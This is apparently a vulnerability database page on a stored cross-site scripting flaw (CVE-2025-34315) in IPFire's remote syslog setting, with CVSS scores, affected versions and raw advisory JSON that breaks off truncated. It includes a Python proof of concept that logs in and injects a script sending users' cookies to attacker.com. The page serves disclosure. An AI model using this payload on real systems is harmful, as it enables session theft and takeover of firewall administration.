Security Vulnerability Report
中文
CVE-2025-34315 CVSS 5.4 MEDIUM

CVE-2025-34315

Published: 2025-10-28 15:16:12
Last Modified: 2025-11-03 17:02:45

Description

IPFire versions prior to 2.29 (Core Update 198) contain a stored cross-site scripting (XSS) vulnerability that allows an authenticated attacker to inject arbitrary JavaScript code through the REMOTELOG_ADDR parameter when updating the remote syslog server address. When a user updates the Remote logging Syslog server, the application issues an HTTP POST request to /cgi-bin/logs.cgi/config.dat and the server address is provided in the REMOTELOG_ADDR parameter. The value of this parameter is stored and later rendered in the web interface without proper sanitation or encoding, allowing injected scripts to execute in the context of other users who view the affected configuration page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ipfire:ipfire:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update183:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update184:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update185:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update186:*:*:*:*:*:* - VULNERABLE
IPFire < 2.29 (Core Update 198)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-34315 IPFire Stored XSS PoC # Target: IPFire < 2.29 (Core Update 198) # Attack Vector: REMOTELOG_ADDR parameter in /cgi-bin/logs.cgi/config.dat TARGET_URL = "http://target-ipfire:444/cgi-bin/logs.cgi/config.dat" USERNAME = "admin" PASSWORD = "password" def exploit_xss(): """ Stored XSS via REMOTELOG_ADDR parameter This PoC demonstrates injecting JavaScript through the remote syslog address field """ session = requests.Session() # Step 1: Authenticate to IPFire web interface login_data = { 'username': USERNAME, 'password': PASSWORD } session.post(f"http://target-ipfire:444/cgi-bin/login.cgi", data=login_data) # Step 2: Inject malicious JavaScript via REMOTELOG_ADDR parameter # XSS payload: Steals session cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' exploit_data = { 'SUBMIT': 'Save', 'REMOTELOG_ADDR': xss_payload, 'REMOTELOG_ENABLE': 'on' } response = session.post(TARGET_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when config page is viewed") print(f"[*] Payload: {xss_payload}") else: print("[-] Exploitation failed") sys.exit(1) if __name__ == "__main__": print("CVE-2025-34315 IPFire Stored XSS Exploit") print("=" * 50) exploit_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34315", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:11.823", "lastModified": "2025-11-03T17:02:45.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IPFire versions prior to 2.29 (Core Update 198) contain a stored cross-site scripting (XSS) vulnerability that allows an authenticated attacker to inject arbitrary JavaScript code through the REMOTELOG_ADDR parameter when updating the remote syslog server address. When a user updates the Remote logging Syslog server, the application issues an HTTP POST request to /cgi-bin/logs.cgi/config.dat and the server address is provided in the REMOTELOG_ADDR parameter. The value of this parameter is stored and later rendered in the web interface without proper sanitation or encoding, allowing injected scripts to execute in the context of other users who view the affected configuration page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.29", "matchCriteriaId": "9A0A85D3-A192-4FD9-9510-99D85BCF334A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update183:*:*:*:*:*:*", "matchCriteriaId": "A39350F9-D6D9-49A5-88BC-C5489AA6038C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update184:*:*:*:*:*:*", "matchCriteriaId": "CDDC0CEB-073B-41A0-8A52-4DAAAD77AA6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update185:*:*:*:*:*:*", "matchCriteriaId": "745640B9-2180-48C3-82CC-D6E73AAF95D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update186:*:*:*:*:*:*", "matchCriteriaId": "08006D41-7288-4333-83FE-B6FD7CD5C779"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update187:*:*:*:*:*:*", "matchCriteriaId": "15EE4FEE-62AB-4172-B898-19DE6F50B7AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update188:*:*:*:*:*:*", "matchCriteriaId": "5B0ECE9B-DD45-40E1-842A-0B0B1786187E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update189:*:*:*:*:*:*", "matchCriteriaId": "9B9BDB00-A750-4053-8812-5A3854042CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update190:*:*:*:*:*:*", "matchCriteriaId": "16F654D7-CC82-4428-BBEF-1110CAE75597"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update191:*:*:*:*:*:*", "matchCriteriaId": "FFCC61A9-AF1B-4F8A-98D2-FB7854AF0EF6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update192:*:*:*:*:*:*", "matchCriteriaId": "7A66DC97-E88F-455E-B688-88BCC95E861B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update193:*:*:*:*:*:*", "matchCriteriaId": "DDF56682-47E8- ... (truncated)